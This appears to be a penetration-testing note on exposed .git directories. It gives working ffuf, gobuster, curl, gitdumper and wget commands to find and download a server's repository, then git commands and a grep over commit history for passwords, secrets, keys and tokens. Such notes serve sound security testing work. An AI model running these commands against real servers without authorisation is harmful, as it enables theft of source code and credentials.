☼
⌃
☰

Exposed .git Directory

Table of Contents

A web server's document root sometimes includes the .git folder from a deployment that used git pull or git clone directly into the served directory, without excluding version control metadata. If the webserver has no rule blocking dotfiles/dotdirectories, the entire git object database — including full commit history — becomes downloadable, regardless of what the current checked-out files show.

This matters more than "an extra folder is visible": history means anything ever committed and later "removed" (secrets, credentials, internal notes, old code) is still present in prior commit objects unless the repo was rewritten (e.g. git filter-repo) and force- pushed — a step most teams forget or don't know is necessary.

Related: Git Gobuster [[Denote query for ‘20260616T000005’]] DFIR

1. Detection

Standard content/directory discovery wordlists (dirb's common.txt, SecLists) include .git/HEAD — a 200 response with small, predictable content (ref: refs/heads/main) is the signature:

SH
ffuf -u http://$IP:$PORT/FUZZ -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://$IP:$PORT/ -w /usr/share/wordlists/dirb/common.txt
SH
# Manual confirmation
curl -s http://$IP:$PORT/.git/HEAD

2. Dumping the Repository

Manually reconstructing a git object database by requesting each object individually is possible but tedious. GitTools' dumper automates it (walks .git/index and known object paths, handles servers with and without directory listing enabled):

SH
git clone https://github.com/internetwache/GitTools
./GitTools/Dumper/gitdumper.sh http://$IP:$PORT/.git/ <output-dir>

If directory listing is enabled on the server, a plain recursive wget mirror can also work and is worth trying first as a faster, dependency-free alternative:

SH
wget -r -np -R "index.html*" http://$IP:$PORT/.git/

3. Recovering Source and History

SH
cd <output-dir>
git status          # often shows as detached/corrupt until restored
git checkout .
git restore .
git log --all --oneline    # full commit history, not just current HEAD

Search history for anything removed from the current tree — this is where "staging" secrets, old credentials, or internal comments tend to surface even when the live checkout looks clean:

SH
git log --all -p | grep -iE "password|secret|key|token|flag" -A2 -B2

4. Notes

  • The current checked-out files are not the full picture — always check git log --all, since a "remove before launch" comment or secret left in a single commit is still fully recoverable
  • No specialised git-aware scanner is required to find the exposure in the first place — a common directory wordlist through ffuf/gobuster is sufficient; GitTools (or similar) is only needed for the dump step once .git/HEAD confirms exposure
  • Classify as sensitive data exposure / improperly secured source control, distinct from a code-level vulnerability found within the recovered source — the exposure itself is the finding even if nothing sensitive turns out to be in the history